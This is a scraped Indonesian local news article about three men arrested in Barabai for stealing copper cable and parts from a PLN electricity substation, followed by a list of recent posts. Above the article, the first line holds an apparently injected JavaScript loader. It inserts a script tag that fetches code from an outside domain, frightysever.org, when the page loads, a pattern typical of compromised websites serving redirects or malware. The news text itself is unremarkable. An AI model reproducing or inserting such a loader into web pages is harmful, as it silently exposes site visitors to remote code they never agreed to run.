(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HST

Sikat Perkakas Gardu Distribusi PLN di Barabai, Tiga Pria Masuk Bui di Hari Kemerdekaan


KANALKALIMANTAN.COM, BARABAI – Tiga pria SR, AR dan AS harus berurusan dengan polisi. Lantaran aksi pencurian barang di Gardu Distribusi PT PLN di desa Buluan, Kecamatan Pandawan, Kabupaten Hulu Sungai Tengah (HST), terbongkar aparat kepolisian.

Awal mula diketahui pencurian pada Jum’at 10 April 2020 silam, pada saat petugas seorang PLN diperintahkan untuk cek  Gardu Distribusi milik PT PLN di Kecamatan Pandawan mendapati ada sejumlah barang yang hilang.

Muhammad Syahmi, petugas PLN yang saat itu melakukan pengecekan barang inventaris perusahaan setrum negara itu, mendapati 1 kabel jenis NYY 1 x 70 mm dari tembaga sepanjang 32 meter dan 4 buah logam conector (SAT), serta 1 batang pipa besi ukuran 3,0 inchi  sudah raib dari tempatnya.

Kemudian Muhammad Syahmi melaporkan kepada Muhammad Noparin, supervisor pemeliharaan PT PLN Cabang Barabai. Lalu pada Senin tanggal 13 April 2020, kasusnya dilaporkan ke Polsek Pandawan. Pihak PT PLN Cabang Barabai saat itu melaporkan mengalami kerugian kurang lebih Rp 4 juta.

Kemudian anggota Polres HST jajaran Polda Kalsel melibatkan anggota Sat Reskrim Polres HST dan Polsek Pandawan mendalami tindak pidana pencurian tersebut.

Berdasarkan hasil penyelidikan dan kerja keras anggota Sat Reskrim Polres HST dan Polsek Pandawan pada Senin 17 Agustus 2020 sekitar pukul 06.00 Wita, menangkap tiga pria -SR, AR dan AS-, karena diduga sebagai pelaku tindak pidana pencurian di Gardu Distribusi PT PLN.

Kapolres HST AKBP Danang Widaryanto melalui Paur Subbag Humas Aipda M Husaini membenarkan kejadian tersebut dan tiga pelaku akan diproses sesuai hukum berlaku. “Akan kita dalami lagi apakah ada TKP lainnya,” ujar Kapolres HST.

Kapolres menyampaikan, anggota Polres HST dan Polsek jajaran selalu aktif melaksanakan patroli dan imbauan kepada masyarakat untuk waspada dan mengaktikan Pos Kamling.

“Sesuai dengan kebijakan Kapolda Kalsel Irjen Pol Dr Nico Afinta yaitu kebijakan penguatan Harkamtibmas,” kata Kapolres HST. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk

Al Ghifari

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

8 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

11 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

12 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

16 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

17 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

19 jam ago